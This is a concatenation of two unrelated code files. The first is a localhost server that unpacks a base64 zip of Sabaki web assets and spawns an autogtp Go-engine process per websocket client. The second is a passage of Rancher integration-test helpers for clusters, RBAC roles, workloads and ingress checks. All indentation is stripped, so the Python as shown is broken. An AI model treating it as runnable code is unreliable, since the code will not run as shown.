ZGVfbW9kdWxlcy9vY3RpY29ucy9idWlsZC9zdmcvdmVyc2lvbnMuc3ZnVVQFAAO5oqdadXgLAAEE9QEAAAQUAAAAUEsBAh4DFAACAAgA2VhtTGuDUlT6AAAAcAEAACkAGAAAAAAAAQAAAKSBJHcJAG5vZGVfbW9kdWxlcy9vY3RpY29ucy9idWlsZC9zdmcvd2F0Y2guc3ZnVVQFAAO5oqdadXgLAAEE9QEAAAQUAAAAUEsBAh4DFAACAAgA2VhtTF9dFQWjAAAA5gAAACUAGAAAAAAAAQAAAKSBgXgJAG5vZGVfbW9kdWxlcy9vY3RpY29ucy9idWlsZC9zdmcveC5zdmdVVAUAA7mip1p1eAsAAQT1AQAABBQAAABQSwECHgMUAAIACADZWG1M8iW2WH8AAACQAAAAJwAYAAAAAAABAAAApIGDeQkAbm9kZV9tb2R1bGVzL29jdGljb25zL2J1aWxkL3N2Zy96YXAuc3ZnVVQFAAO5oqdadXgLAAEE9QEAAAQUAAAAUEsBAh4DCgAAAAAA2VhtTAAAAAAAAAAAAAAAABUAGAAAAAAAAAAQAO1BY3oJAG5vZGVfbW9kdWxlcy9waWthZGF5L1VUBQADuaKnWnV4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAANlYbUwAAAAAAAAAAAAAAAAZABgAAAAAAAAAEADtQbJ6CQBub2RlX21vZHVsZXMvcGlrYWRheS9jc3MvVVQFAAO5oqdadXgLAAEE9QEAAAQUAAAAUEsBAh4DFAACAAgA2VhtTKeK2tVIBgAA1hEAACQAGAAAAAAAAQAAAO2BBXsJAG5vZGVfbW9kdWxlcy9waWthZGF5L2Nzcy9waWthZGF5LmNzc1VUBQADuaKnWnV4CwABBPUBAAAEFAAAAFBLAQIeAwoAAAAAANlYbUwAAAAAAAAAAAAAAAAGABgAAAAAAAAAEADtQauBCQBzdHlsZS9VVAUAA7mip1p1eAsAAQT1AQAABBQAAABQSwECHgMUAAIACADZWG1M++tSIA4GAABIFQAADQAYAAAAAAABAAAApIHrgQkAc3R5bGUvYXBwLmNzc1VUBQADuaKnWnV4CwABBPUBAAAEFAAAAFBLAQIeAxQAAgAIANlYbUwDfs1kYgEAAIUEAAASABgAAAAAAAEAAACkgUCICQBzdHlsZS9jb21tZW50cy5jc3NVVAUAA7mip1p1eAsAAQT1AQAABBQAAABQSwECHgMUAAIACADZWG1MgbKD8MMIAAADNQAADwAYAAAAAAABAAAApIHuiQkAc3R5bGUvZ29iYW4uY3NzVVQFAAO5oqdadXgLAAEE9QEAAAQUAAAAUEsBAh4DFAACAAgA2VhtTELEz0NeEwAAZnAAAA8AGAAAAAAAAQAAAKSB+pIJAHN0eWxlL2luZGV4LmNzc1VUBQADuaKnWnV4CwABBPUBAAAEFAAAAFBLBQYAAAAA9wD3ACpnAAChpgkAAAA="
sabaki_zip = io.BytesIO(base64.decodebytes(sabaki_zip_base64))
sabaki_path = tempfile.mkdtemp()
zipfile.ZipFile(sabaki_zip).extractall(path=sabaki_path)
atexit.register(lambda: shutil.rmtree(sabaki_path))
threads = {}
running = {}
play_pattern = r"\s*\d+\s*\((?:[BW]\s)?(\w+)\).*"
cwd = os.getcwd() # Needed because server needs chdir
def log(client, message):
print("[%d] %s - %s" % (client["id"], time.strftime("%H:%M:%S"), message.strip()))
def serve_autogtp(client, server):
log(client, "Spawning autogtp process.")
process = subprocess.Popen(
"%s -k %s" % (os.path.join(cwd, "autogtp"), cwd),
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
cwd=cwd
)
game_count = 0
nextline = b""
while running[client["id"]]:
char = process.stdout.read(1)
if char == "" and process.poll() is not None:
break
nextline += char
line = nextline.decode("utf-8")
play_match = re.match(play_pattern, line)
if play_match:
play = play_match.group(1)
if play in ("pass", "resign"):
command = play
server.send_message(client, command)
else:
x = ord(play[0]) - 65
if x >= 9:
x -= 1
y = 19 - int(play[1:])
command = "play %d %d" % (x, y)
server.send_message(client, command)
sys.stdout.write("%s\t%s\n" % (line, command))
sys.stdout.flush()
nextline = b""
continue
elif char != b"\n":
continue
if line.startswith("Got new job: "):
server.send_message(client, "new %s" % line.split(": ")[1])
game_count += 1
log(client, "Starting game %d." % game_count)
elif "last game took" in line:
log(client, line)
sys.stdout.write(nextline.decode("utf-8"))
sys.stdout.flush()
nextline = b""
process.terminate()
def new_client(client, server):
running[client["id"]] = True
thread = threading.Thread(target=serve_autogtp, args=(client, server))
threads[client["id"]] = thread
thread.start()
log(client, "Client connected.")
def client_left(client, server):
log(client, "Client disconnected.")
running[client["id"]] = False
threads[client["id"]].join()
log(client, "Process terminated.")
def serve_sabaki():
class Handler(http.server.SimpleHTTPRequestHandler):
def log_request(self, code="-", size="-"):
pass
address = ("127.0.0.1", 8080)
os.chdir(sabaki_path)
with socketserver.TCPServer(address, Handler) as httpd:
print("Serving Sabaki on http://%s:%d/" % address)
print("Each tab opened will spawn a new instance of autogtp")
print("Closing a tab will terminate its associated instance")
print("-" * 52)
httpd.serve_forever()
sabaki_thread = threading.Thread(target=serve_sabaki)
sabaki_thread.daemon = True
sabaki_thread.start()
server = websocket_server.WebsocketServer(3838, host="127.0.0.1")
server.set_fn_new_client(new_client)
server.set_fn_client_left(client_left)
server.run_forever()
|
common.py
|
import inspect
import json
import os
import random
import subprocess
import ssl
import time
import requests
import ast
import paramiko
import rancher
import pytest
from urllib.parse import urlparse
from rancher import ApiError
from lib.aws import AmazonWebServices
from copy import deepcopy
from threading import Lock
from threading import Thread
import websocket
import base64
DEFAULT_TIMEOUT = 120
DEFAULT_MULTI_CLUSTER_APP_TIMEOUT = 300
DEFAULT_APP_DELETION_TIMEOUT = 360
DEFAULT_MONITORING_TIMEOUT = 180
DEFAULT_CATALOG_TIMEOUT = 15
CATTLE_TEST_URL = os.environ.get('CATTLE_TEST_URL', "")
CATTLE_API_URL = CATTLE_TEST_URL + "/v3"
CATTLE_AUTH_URL = \
CATTLE_TEST_URL + "/v3-public/localproviders/local?action=login"
ADMIN_TOKEN = os.environ.get('ADMIN_TOKEN', "None")
USER_TOKEN = os.environ.get('USER_TOKEN', "None")
USER_PASSWORD = os.environ.get('USER_PASSWORD', "None")
ADMIN_PASSWORD = os.environ.get('ADMIN_PASSWORD', "None")
kube_fname = os.path.join(os.path.dirname(os.path.realpath(__file__)),
"k8s_kube_config")
MACHINE_TIMEOUT = float(os.environ.get('RANCHER_MACHINE_TIMEOUT', "1200"))
TEST_OS = os.environ.get('RANCHER_TEST_OS', "linux")
TEST_IMAGE = os.environ.get('RANCHER_TEST_IMAGE', "sangeetha/mytestcontainer")
TEST_IMAGE_NGINX = os.environ.get('RANCHER_TEST_IMAGE_NGINX', "nginx")
TEST_IMAGE_OS_BASE = os.environ.get('RANCHER_TEST_IMAGE_OS_BASE', "ubuntu")
if TEST_OS == "windows":
DEFAULT_TIMEOUT = 300
skip_test_windows_os = pytest.mark.skipif(
TEST_OS == "windows",
reason='Tests Skipped for including Windows nodes cluster')
CLUSTER_NAME = os.environ.get("RANCHER_CLUSTER_NAME", "")
RANCHER_CLEANUP_CLUSTER = \
ast.literal_eval(os.environ.get('RANCHER_CLEANUP_CLUSTER', "True"))
env_file = os.path.join(
os.path.dirname(os.path.realpath(__file__)),
"rancher_env.config")
AWS_ACCESS_KEY_ID = os.environ.get("AWS_ACCESS_KEY_ID")
AWS_SECRET_ACCESS_KEY = os.environ.get("AWS_SECRET_ACCESS_KEY")
AWS_REGION = os.environ.get("AWS_REGION")
AWS_SUBNET = os.environ.get("AWS_SUBNET")
AWS_VPC = os.environ.get("AWS_VPC")
AWS_SG = os.environ.get("AWS_SG")
AWS_ZONE = os.environ.get("AWS_ZONE")
AWS_IAM_PROFILE = os.environ.get("AWS_IAM_PROFILE", "")
AWS_S3_BUCKET_NAME = os.environ.get("AWS_S3_BUCKET_NAME", "")
AWS_S3_BUCKET_FOLDER_NAME = os.environ.get("AWS_S3_BUCKET_FOLDER_NAME", "")
LINODE_ACCESSKEY = os.environ.get('RANCHER_LINODE_ACCESSKEY', "None")
NFS_SERVER_MOUNT_PATH = "/nfs"
TEST_RBAC = ast.literal_eval(os.environ.get('RANCHER_TEST_RBAC', "False"))
if_test_rbac = pytest.mark.skipif(TEST_RBAC is False,
reason='rbac tests are skipped')
TEST_ALL_SNAPSHOT = ast.literal_eval(
os.environ.get('RANCHER_TEST_ALL_SNAPSHOT', "False")
)
if_test_all_snapshot = \
pytest.mark.skipif(TEST_ALL_SNAPSHOT is False,
reason='Snapshots check tests are skipped')
DATA_SUBDIR = os.path.join(os.path.dirname(os.path.realpath(__file__)),
'resource')
# As of release 2.4 default rke scan profile is "rke-cis-1.4"
CIS_SCAN_PROFILE = os.environ.get('RANCHER_CIS_SCAN_PROFILE', "rke-cis-1.4")
# here are all supported roles for RBAC testing
CLUSTER_MEMBER = "cluster-member"
CLUSTER_OWNER = "cluster-owner"
PROJECT_MEMBER = "project-member"
PROJECT_OWNER = "project-owner"
PROJECT_READ_ONLY = "read-only"
rbac_data = {
"project": None,
"namespace": None,
"workload": None,
"p_unshared": None,
"ns_unshared": None,
"wl_unshared": None,
"users": {
CLUSTER_OWNER: {},
CLUSTER_MEMBER: {},
PROJECT_OWNER: {},
PROJECT_MEMBER: {},
PROJECT_READ_ONLY: {},
}
}
auth_rbac_data = {
"project": None,
"namespace": None,
"users": {}
}
# here are the global role templates used for
# testing globalRoleBinding and groupRoleBinding
TEMPLATE_MANAGE_CATALOG = {
"newUserDefault": "false",
"rules": [
{
"type": "/v3/schemas/policyRule",
"apiGroups": [
"management.cattle.io"
],
"verbs": [
"*"
],
"resources": [
"catalogs",
"templates",
"templateversions"
]
}
],
"name": "gr-test-manage-catalog",
}
TEMPLATE_LIST_CLUSTER = {
"newUserDefault": "false",
"rules": [
{
"type": "/v3/schemas/policyRule",
"apiGroups": [
"management.cattle.io"
],
"verbs": [
"get",
"list",
"watch"
],
"resources": [
"clusters"
]
}
],
"name": "gr-test-list-cluster",
}
# this is used when testing users from a auth provider
AUTH_PROVIDER = os.environ.get('RANCHER_AUTH_PROVIDER', "")
if AUTH_PROVIDER not in ["activeDirectory", "freeIpa", "openLdap", ""]:
pytest.fail("Invalid RANCHER_AUTH_PROVIDER. Please provide one of: "
"activeDirectory, freeIpa, or openLdap (case sensitive).")
NESTED_GROUP_ENABLED = ast.literal_eval(
os.environ.get('RANCHER_NESTED_GROUP_ENABLED', "False"))
# Admin Auth username and the shared password for all auth users
AUTH_USER_PASSWORD = os.environ.get('RANCHER_AUTH_USER_PASSWORD', "")
# the link to log in as an auth user
LOGIN_AS_AUTH_USER_URL = \
CATTLE_TEST_URL + "/v3-public/" \
+ AUTH_PROVIDER + "Providers/" \
+ AUTH_PROVIDER.lower() + "?action=login"
CATTLE_AUTH_PRINCIPAL_URL = CATTLE_TEST_URL + "/v3/principals?action=search"
# This is used for nested group when a third part Auth is enabled
nested_group = {
"auth_info": None,
"users": None,
"group_dic": None,
"groups": None
}
auth_requirements = not AUTH_PROVIDER or not AUTH_USER_PASSWORD
if_test_group_rbac = pytest.mark.skipif(
auth_requirements,
reason='Group RBAC tests are skipped.'
'Required AUTH env variables '
'have not been set.'
)
def is_windows(os_type=TEST_OS):
return os_type == "windows"
def random_str():
return 'random-{0}-{1}'.format(random_num(), int(time.time()))
def random_num():
return random.randint(0, 1000000)
def random_int(start, end):
return random.randint(start, end)
def random_test_name(name="test"):
return name + "-" + str(random_int(10000, 99999))
def get_admin_client():
return rancher.Client(url=CATTLE_API_URL, token=ADMIN_TOKEN, verify=False)
def get_user_client():
return rancher.Client(url=CATTLE_API_URL, token=USER_TOKEN, verify=False)
def get_client_for_token(token, url=CATTLE_API_URL):
return rancher.Client(url=url, token=token, verify=False)
def get_project_client_for_token(project, token):
p_url = project.links['self'] + '/schemas'
p_client = rancher.Client(url=p_url, token=token, verify=False)
return p_client
def get_cluster_client_for_token(cluster, token):
c_url = cluster.links['self'] + '/schemas'
c_client = rancher.Client(url=c_url, token=token, verify=False)
return c_client
def up(cluster, token):
c_url = cluster.links['self'] + '/schemas'
c_client = rancher.Client(url=c_url, token=token, verify=False)
return c_client
def wait_state(client, obj, state, timeout=DEFAULT_TIMEOUT):
wait_for(lambda: client.reload(obj).state == state, timeout)
return client.reload(obj)
def wait_for_condition(client, resource, check_function, fail_handler=None,
timeout=DEFAULT_TIMEOUT):
start = time.time()
resource = client.reload(resource)
while not check_function(resource):
if time.time() - start > timeout:
exceptionMsg = 'Timeout waiting for ' + resource.baseType + \
' to satisfy condition: ' + \
inspect.getsource(check_function)
if fail_handler:
exceptionMsg = exceptionMsg + fail_handler(resource)
raise Exception(exceptionMsg)
time.sleep(.5)
resource = client.reload(resource)
return resource
def wait_for(callback, timeout=DEFAULT_TIMEOUT, timeout_message=None):
start = time.time()
ret = callback()
while ret is None or ret is False:
time.sleep(.5)
if time.time() - start > timeout:
if timeout_message:
raise Exception(timeout_message)
else:
raise Exception('Timeout waiting for condition')
ret = callback()
return ret
def random_name():
return "test" + "-" + str(random_int(10000, 99999))
def get_setting_value_by_name(name):
settings_url = CATTLE_API_URL + "/settings/" + name
head = {'Authorization': 'Bearer ' + ADMIN_TOKEN}
response = requests.get(settings_url, verify=False, headers=head)
return response.json()["value"]
# Return value is negative if v1 < v2, zero if v1 == v2 and positive if v1 > v2
def compare_versions(v1, v2):
if tuple(map(int, (v1.split(".")))) > tuple(map(int, (v2.split(".")))):
return 1
elif tuple(map(int, (v1.split(".")))) < tuple(map(int, (v2.split(".")))):
return -1
else:
return 0
def create_project_and_ns(token, cluster, project_name=None, ns_name=None):
server_url = cluster.links['self'].split("/clusters")[0]
client = get_client_for_token(token, server_url)
p = create_project(client, cluster, project_name)
c_client = get_cluster_client_for_token(cluster, token)
ns = create_ns(c_client, cluster, p, ns_name)
return p, ns
def create_project(client, cluster, project_name=None):
if project_name is None:
project_name = random_name()
p = client.create_project(name=project_name,
clusterId=cluster.id)
time.sleep(5)
p = wait_until_available(client, p)
assert p.state == 'active'
return p
def create_project_with_pspt(client, cluster, pspt):
p = client.create_project(name=random_name(),
clusterId=cluster.id)
p = wait_until_available(client, p)
assert p.state == 'active'
return set_pspt_for_project(p, client, pspt)
def set_pspt_for_project(project, client, pspt):
project.setpodsecuritypolicytemplate(podSecurityPolicyTemplateId=pspt.id)
project = wait_until_available(client, project)
assert project.state == 'active'
return project
def create_ns(client, cluster, project, ns_name=None):
if ns_name is None:
ns_name = random_name()
ns = client.create_namespace(name=ns_name,
clusterId=cluster.id,
projectId=project.id)
wait_for_ns_to_become_active(client, ns)
ns = client.reload(ns)
assert ns.state == 'active'
return ns
def assign_members_to_cluster(client, user, cluster, role_template_id):
crtb = client.create_cluster_role_template_binding(
clusterId=cluster.id,
roleTemplateId=role_template_id,
subjectKind="User",
userId=user.id)
return crtb
def assign_members_to_project(client, user, project, role_template_id):
prtb = client.create_project_role_template_binding(
projectId=project.id,
roleTemplateId=role_template_id,
subjectKind="User",
userId=user.id)
return prtb
def change_member_role_in_cluster(client, user, crtb, role_template_id):
crtb = client.update(
crtb,
roleTemplateId=role_template_id,
userId=user.id)
return crtb
def change_member_role_in_project(client, user, prtb, role_template_id):
prtb = client.update(
prtb,
roleTemplateId=role_template_id,
userId=user.id)
return prtb
def create_kubeconfig(cluster, file_name=kube_fname):
generateKubeConfigOutput = cluster.generateKubeconfig()
print(generateKubeConfigOutput.config)
file = open(file_name, "w")
file.write(generateKubeConfigOutput.config)
file.close()
def validate_psp_error_worklaod(p_client, workload, error_message):
workload = wait_for_wl_transitioning(p_client, workload)
assert workload.state == "updating"
assert workload.transitioning == "error"
print(workload.transitioningMessage)
assert error_message in workload.transitioningMessage
def validate_all_workload_image_from_rancher(project_client, ns, pod_count=1,
ignore_pod_count=False,
deployment_list=None,
daemonset_list=None,
cronjob_list=None):
if cronjob_list is None:
cronjob_list = []
if daemonset_list is None:
daemonset_list = []
if deployment_list is None:
deployment_list = []
workload_list = deployment_list + daemonset_list + cronjob_list
wls = project_client.list_workload(namespaceId=ns.id).data
assert len(workload_list) == len(wls), \
"Expected {} workload(s) to be present in {} namespace " \
"but there were {}".format(len(workload_list), ns.name, len(wls))
for workload_name in workload_list:
workloads = project_client.list_workload(name=workload_name,
namespaceId=ns.id).data
assert len(workloads) == workload_list.count(workload_name), \
"Expected {} workload(s) to be present with name {} " \
"but there were {}".format(workload_list.count(workload_name),
workload_name, len(workloads))
for workload in workloads:
for container in workload.containers:
assert str(container.image).startswith("rancher/")
if workload_name in deployment_list:
validate_workload(project_client, workload, "deployment",
ns.name, pod_count=pod_count,
ignore_pod_count=ignore_pod_count)
deployment_list.remove(workload_name)
if workload_name in daemonset_list:
validate_workload(project_client, workload, "daemonSet",
ns.name, pod_count=pod_count,
ignore_pod_count=ignore_pod_count)
daemonset_list.remove(workload_name)
if workload_name in cronjob_list:
validate_workload(project_client, workload, "cronJob",
ns.name, pod_count=pod_count,
ignore_pod_count=ignore_pod_count)
cronjob_list.remove(workload_name)
# Final assertion to ensure all expected workloads have been validated
assert not deployment_list + daemonset_list + cronjob_list
def validate_workload(p_client, workload, type, ns_name, pod_count=1,
wait_for_cron_pods=60, ignore_pod_count=False):
workload = wait_for_wl_to_active(p_client, workload)
assert workload.state == "active"
# For cronjob, wait for the first pod to get created after
# scheduled wait time
if type == "cronJob":
time.sleep(wait_for_cron_pods)
if ignore_pod_count:
pods = p_client.list_pod(workloadId=workload.id).data
else:
pods = wait_for_pods_in_workload(p_client, workload, pod_count)
assert len(pods) == pod_count
pods = p_client.list_pod(workloadId=workload.id).data
assert len(pods) == pod_count
for pod in pods:
p = wait_for_pod_to_running(p_client, pod)
assert p["status"]["phase"] == "Running"
wl_result = execute_kubectl_cmd(
"get " + type + " " + workload.name + " -n " + ns_name)
if type == "deployment" or type == "statefulSet":
assert wl_result["status"]["readyReplicas"] == len(pods)
if type == "daemonSet":
assert wl_result["status"]["currentNumberScheduled"] == len(pods)
if type == "cronJob":
assert len(wl_result["status"]["active"]) >= len(pods)
def validate_workload_with_sidekicks(p_client, workload, type, ns_name,
pod_count=1):
workload = wait_for_wl_to_active(p_client, workload)
assert workload.state == "active"
pods = wait_for_pods_in_workload(p_client, workload, pod_count)
assert len(pods) == pod_count
for pod in pods:
wait_for_pod_to_running(p_client, pod)
wl_result = execute_kubectl_cmd(
"get " + type + " " + workload.name + " -n " + ns_name)
assert wl_result["status"]["readyReplicas"] == pod_count
for key, value in workload.workloadLabels.items():
label = key + "=" + value
get_pods = "get pods -l" + label + " -n " + ns_name
execute_kubectl_cmd(get_pods)
pods_result = execute_kubectl_cmd(get_pods)
assert len(pods_result["items"]) == pod_count
for pod in pods_result["items"]:
assert pod["status"]["phase"] == "Running"
assert len(pod["status"]["containerStatuses"]) == 2
assert "running" in pod["status"]["containerStatuses"][0]["state"]
assert "running" in pod["status"]["containerStatuses"][1]["state"]
def validate_workload_paused(p_client, workload, expectedstatus):
workloadStatus = p_client.list_workload(uuid=workload.uuid).data[0].paused
assert workloadStatus == expectedstatus
def validate_pod_images(expectedimage, workload, ns_name):
for key, value in workload.workloadLabels.items():
label = key + "=" + value
get_pods = "get pods -l" + label + " -n " + ns_name
pods = execute_kubectl_cmd(get_pods)
for pod in pods["items"]:
assert pod["spec"]["containers"][0]["image"] == expectedimage
def validate_pods_are_running_by_id(expectedpods, workload, ns_name):
for key, value in workload.workloadLabels.items():
label = key + "=" + value
get_pods = "get pods -l" + label + " -n " + ns_name
pods = execute_kubectl_cmd(get_pods)
curpodnames = []
for pod in pods["items"]:
curpodnames.append(pod["metadata"]["name"])
for expectedpod in expectedpods["items"]:
assert expectedpod["metadata"]["name"] in curpodnames
def validate_workload_image(client, workload, expectedImage, ns):
workload = client.list_workload(uuid=workload.uuid).data[0]
assert workload.containers[0].image == expectedImage
validate_pod_images(expectedImage, workload, ns.name)
def execute_kubectl_cmd(cmd, json_out=True, stderr=False,
kubeconfig=kube_fname):
command = 'kubectl --kubeconfig {0} {1}'.format(
kubeconfig, cmd)
if json_out:
command += ' -o json'
print("run cmd: \t{0}".format(command))
if stderr:
result = run_command_with_stderr(command, False)
else:
result = run_command(command, False)
print("returns: \t{0}".format(result))
if json_out:
result = json.loads(result)
return result
def run_command(command, log_out=True):
if log_out:
print("run cmd: \t{0}".format(command))
try:
return subprocess.check_output(command, shell=True, text=True)
except subprocess.CalledProcessError as e:
return None
def run_command_with_stderr(command, log_out=True):
if log_out:
print("run cmd: \t{0}".format(command))
try:
output = subprocess.check_output(command, shell=True,
stderr=subprocess.PIPE)
returncode = 0
except subprocess.CalledProcessError as e:
output = e.stderr
returncode = e.returncode
if log_out:
print("return code: \t{0}".format(returncode))
if returncode != 0:
print("output: \t{0}".format(output))
return output
def wait_for_wl_to_active(client, workload, timeout=DEFAULT_TIMEOUT):
start = time.time()
workloads = client.list_workload(uuid=workload.uuid).data
assert len(workloads) == 1
wl = workloads[0]
while wl.state != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
workloads = client.list_workload(uuid=workload.uuid).data
assert len(workloads) == 1
wl = workloads[0]
return wl
def wait_for_ingress_to_active(client, ingress, timeout=DEFAULT_TIMEOUT):
start = time.time()
ingresses = client.list_ingress(uuid=ingress.uuid).data
assert len(ingresses) == 1
wl = ingresses[0]
while wl.state != "active":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
ingresses = client.list_ingress(uuid=ingress.uuid).data
assert len(ingresses) == 1
wl = ingresses[0]
return wl
def wait_for_wl_transitioning(client, workload, timeout=DEFAULT_TIMEOUT,
state="error"):
start = time.time()
workloads = client.list_workload(uuid=workload.uuid).data
assert len(workloads) == 1
wl = workloads[0]
while wl.transitioning != state:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
workloads = client.list_workload(uuid=workload.uuid).data
assert len(workloads) == 1
wl = workloads[0]
return wl
def wait_for_pod_to_running(client, pod, timeout=DEFAULT_TIMEOUT):
start = time.time()
pods = client.list_pod(uuid=pod.uuid).data
assert len(pods) == 1
p = pods[0]
while p.state != "running":
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for state to get to active")
time.sleep(.5)
pods = client.list_pod(uuid=pod.uuid).data
assert len(pods) == 1
p = pods[0]
return p
def get_schedulable_nodes(cluster, client=None, os_type=TEST_OS):
if not client:
client = get_user_client()
nodes = client.list_node(clusterId=cluster.id).data
schedulable_nodes = []
for node in nodes:
if node.worker and (not node.unschedulable):
for key, val in node.labels.items():
# Either one of the labels should be present on the node
if key == 'kubernetes.io/os' or key == 'beta.kubernetes.io/os':
if val == os_type:
schedulable_nodes.append(node)
break
# Including master in list of nodes as master is also schedulable
if 'k3s' in cluster.version["gitVersion"] and node.controlPlane:
schedulable_nodes.append(node)
return schedulable_nodes
def get_etcd_nodes(cluster, client=None):
if not client:
client = get_user_client()
nodes = client.list_node(clusterId=cluster.id).data
etcd_nodes = []
for node in nodes:
if node.etcd:
etcd_nodes.append(node)
return etcd_nodes
def get_role_nodes(cluster, role, client=None):
etcd_nodes = []
control_nodes = []
worker_nodes = []
node_list = []
if not client:
client = get_user_client()
nodes = client.list_node(clusterId=cluster.id).data
for node in nodes:
if node.etcd:
etcd_nodes.append(node)
if node.controlPlane:
control_nodes.append(node)
if node.worker:
worker_nodes.append(node)
if role == "etcd":
node_list = etcd_nodes
if role == "control":
node_list = control_nodes
if role == "worker":
node_list = worker_nodes
return node_list
def validate_ingress(p_client, cluster, workloads, host, path,
insecure_redirect=False):
time.sleep(10)
curl_args = " "
if (insecure_redirect):
curl_args = " -L --insecure "
if len(host) > 0:
curl_args += " --header 'Host: " + host + "'"
nodes = get_schedulable_nodes(cluster, os_type="linux")
target_name_list = get_target_names(p_client, workloads)
for node in nodes:
host_ip = resolve_node_ip(node)
url = "http://" + host_ip + path
if not insecure_redirect:
wait_until_ok(url, timeout=300, headers={
"Host": host
})
cmd = curl_args + " " + url
validate_http_response(cmd, target_name_list)
def validate_ingress_using_endpoint(p_client, ingress, workloads,
timeout=300,
certcheck=False, is_insecure=False):
target_name_list = get_target_names(p_client, workloads)
start = time.time()
fqdn_available = False
url = None
while not fqdn_available:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for endpoint to be available")
time.sleep(.5)
ingress_list = p_client.list_ingress(uuid=ingress.uuid).data
assert len(ingress_list) == 1
ingress = ingress_list[0]
if hasattr(ingress, 'publicEndpoints'):
for public_endpoint in ingress.publicEndpoints:
if public_endpoint["hostname"].startswith(ingress.name) \
or certcheck:
fqdn_available = True
url = \
public_endpoint["protocol"].lower() + "://" + \
public_endpoint["hostname"]
if "path" in public_endpoint.keys():
url += public_endpoint["path"]
time.sleep(10)
validate_http_response(url, target_name_list, insecure=is_insecure)
def get_target_names(p_client, workloads):
pods = []
for workload in workloads:
pod_list = p_client.list_pod(workloadId=workload.id).data
pods.extend(pod_list)
target_name_list = []
for pod in pods:
target_name_list.append(pod.name)
print("target name list:" + str(target_name_list))
return target_name_list
def get_endpoint_url_for_workload(p_client, workload, timeout=600):
fqdn_available = False
url = ""
start = time.time()
while not fqdn_available:
if time.time() - start > timeout:
raise AssertionError(
"Timed out waiting for endpoint to be available")
time.sleep(.5)
workload_list = p_client.list_workload(uuid=workload.uuid).data
assert len(workload_list) == 1
workload = workload_list[0]
if hasattr(workload, 'publicEndpoints'):
assert len(workload.publicEndpoints) > 0
url = "http://"
url = url + workload.publicEndpoints[0]["addresses"][0] + ":"
url = url + str(workload.publicEndpoints[0]["port"])
fqdn_available = True
return url
def wait_until_lb_is_active(url, timeout=300):
start = time.time()
while check_for_no_access(url):
time.sleep(.5)
print("No access yet")
if time.time() - start > timeout:
raise Exception('Timed out waiting for LB to become active')
return
def check_for_no_access(url, verify=False):
try:
requests.get(url, verify=verify)
return False
except requests.ConnectionError:
print("Connection Error - " + url)
return True
def wait_until_active(url, timeout=120):
start = time.time()
while check_for_no_access(url):
time.sleep(.5)
print("No access yet")
if time.time() - start > timeout:
raise Exception('Timed out waiting for url '
'to become active')
return
def wait_until_ok(url, timeout=120, headers={}):
start = time.time()
while not check_if_ok(url, headers=headers):
time.sleep(.5)
if time.time() - start > timeout:
raise Exception(
'Timed out waiting for {0} to become ok'.format(url)
)
return
def check_if_ok(url, verify=False, headers={}):
try:
res = requests.head(url, verify=verify, headers=headers)
if res.status_code == 200:
return True
return False
except requests.ConnectionError:
print("Connection Error - " + url)
return False
def validate_http_response(cmd, target_name_list, client_pod=None,
insecure=False):
if client_pod is None and cmd.startswith("http://"):
wait_until_active(cmd, 60)
target_hit_list = target_name_list[:]
count = 5 * len(target_name_list)
for i in range(1, count):
if len(target_hit_list) == 0:
break
if client_pod is None:
curl_cmd = "curl " + cmd
if insecure:
curl_cmd += "\t--insecure"
result = run_command(curl_cmd)
else:
if is_windows():
wget_cmd = 'powershell -NoLogo -NonInteractive -Command ' \
'"& {{ (Invoke-WebRequest -UseBasicParsing -Uri ' \
'{0}).Content }}"'.format(cmd)
else:
wget_cmd = "wget -qO- " + cmd
result = kubectl_pod_exec(client_pod, wget_cmd)
result = result.decode()
result = result.rstrip()
assert result in target_name_list
if result in target_hit_list:
target_hit_list.remove(result)
print("After removing all, the rest is: ", target_hit_list)
assert len(target_hit_list) == 0
def validate_cluster(client, cluster, intermediate_state="provisioning",
check_intermediate_state=True, skipIngresscheck=True,
nodes_not_in_active_state=[], k8s_version="",
userToken=USER_TOKEN):
# Allow sometime for the "cluster_owner" CRTB to take effect
time.sleep(5)
cluster = validate_cluster_state(
client, cluster,
check_intermediate_state=check_intermediate_state,
intermediate_state=intermediate_state,
nodes_not_in_active_state=nodes_not_in_active_state)
create_kubeconfig(cluster)
if k8s_version != "":
check_cluster_version(cluster, k8s_version)
if hasattr(cluster, 'rancherKubernetesEngineConfig'):
check_cluster_state(len(get_role_nodes(cluster, "etcd", client)))
# check all workloads under the system project are active
# wait for workloads to be active
time.sleep(DEFAULT_TIMEOUT)
print("checking if workloads under the system project are active")
sys_project = client.list_project(name='System',
clusterId=cluster.id).data[0]
sys_p_client = get_project_client_for_token(sys_project, userToken)
for wl in sys_p_client.list_workload().data:
wait_for_wl_to_active(sys_p_client, wl)
# Create Daemon set workload and have an Ingress with Workload
# rule pointing to this daemonSet
project, ns = create_project_and_ns(userToken, cluster)
p_client = get_project_client_for_token(project, userToken)
con = [{"name": "test1",
"image": TEST_IMAGE}]
name = random_test_name("default")
workload = p_client.create_workload(name=name,
containers=con,
namespaceId=ns.id,
daemonSetConfig={})
validate_workload(p_client, workload, "daemonSet", ns.name,
len(get_schedulable_nodes(cluster, client)))
if not skipIngresscheck:
pods = p_client.list_pod(workloadId=workload["id"]).data
scale = len(pods)
# test service discovery
validate_service_discovery(workload, scale, p_client, ns, pods)
host = "test" + str(random_int(10000, 99999)) + ".com"
path = "/name.html"
rule = {"host": host,
"paths":
[{"workloadIds": [workload.id], "targetPort": "80"}]}
ingress = p_client.create_ingress(name=name,
namespaceId=ns.id,
rules=[rule])
wait_for_ingress_to_active(p_client, ingress)
validate_ingress(p_client, cluster, [workload], host, path)
return cluster
def check_cluster_version(cluster, version):
cluster_k8s_version = \
cluster.appliedSpec["rancherKubernetesEngineConfig"][
"kubernetesVersion"]
assert cluster_k8s_version == version, \
"cluster_k8s_version: " + cluster_k8s_version + \
" Expected: " + version
expected_k8s_version = version[:version.find("-")]
k8s_version = execute_kubectl_cmd("version")
kubectl_k8s_version = k8s_version["serverVersion"]["gitVersion"]
assert kubectl_k8s_version == expected_k8s_version, \
"kubectl version: " + kubectl_k8s_version + \
" Expected: " + expected_k8s_version
def check_cluster_state(etcd_count):
css_resp = execute_kubectl_cmd("get cs")
